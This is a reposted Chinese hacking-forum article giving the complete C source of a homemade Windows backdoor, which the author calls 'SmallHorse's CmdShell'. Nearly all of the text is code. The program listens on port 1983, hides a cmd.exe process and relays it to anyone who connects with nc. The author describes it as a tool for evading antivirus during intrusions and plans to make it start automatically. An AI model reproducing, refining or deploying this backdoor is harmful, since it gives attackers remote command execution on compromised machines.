文章作者: 小马/SmallHorse [E.S.T VIP]（这个E.S.T VIP写不写是无所谓的）
信息来源: 邪恶八进制 中国 

  最近闲着无聊，自己琢磨着写了个简单的CMDSHELL后门。同时也避免了入侵时被杀毒软件K了。参考了T-CMD源代码和以前黑防的相关文章。从中学到了很多知识。
  程序很简单，运行后默认打开1983端口，也可以自己设定端口，等待客户端来连接。连接可以使用nc。本来还想设计成服务让其开机后自动运行，由于时间问题等以后完善了。
  用法：smallhorse [-p port] -p参数用于设置自己的端口
  
  下面是源程序，贴出来和大家共同学习进步，同时希望高手不吝指教，小马在此谢了先。
QQ：11189658 E-MAIL：
  
在vc++6.0 WIN2003下编译通过

＃i nclude<winsock2.h>
＃i nclude <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf("     /***************************************\\\n");
printf("     |This SmallHorse's First CMDSHELL V0.1 |\n");
printf("     |Thanks For Using It!             |\n");
printf("     |SmallHorse [E.S.T] VIP 2005.03     |\n");
printf("     |***************************************|\n");
printf("     |usage:smallhorse [-p port]         |\n");
printf("     |     port: Port Number To Listen On   |\n");
printf("     |     Default Port Is 1983         |\n");
printf("     \\***************************************/\n");
return;
}


void OpenDoor()
{

    // 初始化 Winsock.
  WSADATA wsaData;
    SOCKET m_socket,AcceptClient;
    sockaddr_in Service,Client;
    int ClientSize,i=0;
  int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  if ( iResult != NO_ERROR )
    return;

  // 创建一个 socket.
  
  m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  if(m_socket==SOCKET_ERROR)
        return;
  Service.sin_family = AF_INET;
  Service.sin_addr.s_addr = htonl(INADDR_ANY);
  Service.sin_port = htons( port );

  if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
      return;//邦定
  
  if (listen(m_socket,5)==SOCKET_ERROR)
        return;//最大监听列队5个
  printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
    ClientSize=sizeof(Client);
    while(1)
    {

    AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
    if(AcceptClient==SOCKET_ERROR)
        return;//接受连接
    printf( "Client Connected.\n");
    char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse's CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";
  send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
    
    if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
        printf("Create Thread Error!\n");
    Sleep(1000);
    }
    WSACleanup();
    return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;

SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道，分别用于接收命令和显示结果

STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE; 

char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
    strcat(cmdline,("\\cmd.exe"));

PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{

    Sleep(100);
    PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
    if(ByteRec){

        ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
        if(!ret)
              break;
        ret=send(AcceptClient,Buf,ByteRec,0);
        if(ret<=0)
              break;
    }
    else{

        ByteRec=recv(AcceptClient,Buf,1024,0);
        if(ByteRec<=0)
              break;
        ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
        if(!ret)
              break;
    }
}
return 0;
}
int main(int argc, char *argv[])
{   
  Help();
    if(argc==3)
        if(!strcmp(argv[1],"-p"))
              port=atoi(argv[2]);
    OpenDoor();
return 0;

}

本文转自loveme2351CTO博客，原文链接：http://blog.51cto.com/loveme23/7951 ，如需转载请自行联系原作者